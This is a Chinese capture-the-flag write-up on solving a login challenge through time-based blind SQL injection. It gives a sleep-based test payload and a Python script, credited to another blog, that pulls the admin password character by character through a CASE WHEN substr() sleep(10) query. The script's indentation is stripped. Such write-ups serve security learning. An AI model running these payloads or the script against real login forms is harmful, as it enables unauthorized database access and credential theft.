看起来有点难

页面很简单，跟我们平时遇到的登录窗口差不多，看看源码，没什么可用的信息

在bp抓一下，传repeater中go一下，也没看到什么特别的地方，看来这道题应该是注入题了，尝试用户名1,1’,1”,1#,1’#,1”#,1),1’),1”),1’)#,admin......，其中发现输入admin和1’时就不一样了

多次尝试后发现这里是延时注入，所以构造payload：admin' and sleep(10) and '1'='1

发现真延迟了10s，因为延时注入太麻烦了，所以这里直接引入dalao（url：https://blog.csdn.net/dongyanwen6036/article/details/77840791）的脚本跑一下

#-*-coding:utf-8-*-

import requests

import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*' #不区分大小写的

flag = ""

key=0

print("Start")

for i in range(1,50):

if key == 1:

break

for payload in payloads:

starttime = time.time()#记录当前时间

headers = {"Host": "ctf5.shiyanbar.com",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",

"Connection": "keep-alive",

}

url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库

res = requests.get(url, headers=headers)

if time.time() - starttime > 10:

flag += payload

print("pwd is:%s"%flag)

break

else:

if payload == '*':

key = 1

break

print('[Finally] current pwd is %s'% flag)

得到password

再回到网页输入admin和我们得到的password就可用得到flag了